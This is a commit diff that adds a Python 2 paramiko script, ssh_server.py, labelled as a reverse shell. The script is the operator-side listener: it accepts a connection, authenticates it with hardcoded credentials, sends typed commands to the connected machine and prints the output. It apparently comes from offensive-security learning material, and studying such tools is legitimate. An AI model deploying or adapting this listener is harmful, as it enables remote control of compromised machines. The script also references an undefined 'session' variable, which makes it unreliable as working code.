paramiko server and client --> reverse shell script

Network_and_802.11/paramiko/ssh_server.py

@@ -0,0 +1,98 @@
+#!/usr/bin/env python
+
+__author__ = "bt3"
+
+
+import paramiko
+import getopt
+import threading
+import sys
+import socket
+
+HOST_KEY = paramiko.RSAKey(filename='test_rsa.key')
+USERNAME = 'buffy'
+PASSWORD = 'killvampires'
+
+
+class Server(paramiko.ServerInterface):
+
+    def __init__(self):
+        self.event = threading.Event()
+
+    def check_channel_request(self, kind, chanid):
+        if kind == 'session':
+            return paramiko.OPEN_SUCCEEDED
+        return paramiko.OPEN_FAILED_ADMINISTRATIVELY_PROHIBITED
+
+    def check_auth_password(self, username, password):
+        if (username == USERNAME) and (password == PASSWORD):
+            return paramiko.AUTH_SUCCESSFUL
+        return paramiko.AUTH_FAILED
+
+
+def main():
+
+    if not len(sys.argv[1:]):
+        print "Usage: ssh_server.py <SERVER>  <PORT>"
+        sys.exit(0)
+
+    # creating a socket object
+    server = sys.argv[1]
+    ssh_port = int(sys.argv[2])
+    try:
+        sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
+        sock.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1)
+        sock.bind((server, ssh_port))
+        sock.listen(100)
+        print "[+] Listening for connection ..."
+        client, addr = sock.accept()
+    except Exception, e:
+        print "[-] Connection Failed: " + str(e)
+        sys.exit(1)
+    print "[+] Connection Established!"
+
+
+    # creating a paramiko object
+    try:
+        Session = paramiko.Transport(client)
+        Session.add_server_key(HOST_KEY)
+        paramiko.util.log_to_file("filename.log")
+        server = Server()
+        try:
+            Session.start_server(server=server)
+        except paramiko.SSHException, x:
+            print '[-] SSH negotiation failed.'
+
+
+        chan = Session.accept(10)
+
+        print '[+] Authenticated!'
+        chan.send("Welcome to Buffy's SSH")
+        while 1:
+            try:
+                command = raw_input("Enter command: ").strip('\n')
+                if command != 'exit':
+                    chan.send(command)
+                    print chan.recv(1024) + '\n'
+                else:
+                    chan.send('exit')
+                    print '[*] Exiting ...'
+                    session.close()
+                    raise Exception('exit')
+            except KeyboardInterrupt:
+                session.close()
+
+
+    except Exception, e:
+        print "[-] Caught exception: " + str(e)
+        try:
+            session.close()
+        except:
+            pass
+        sys.exit(1)
+
+
+
+
+if __name__ == '__main__':
+    main()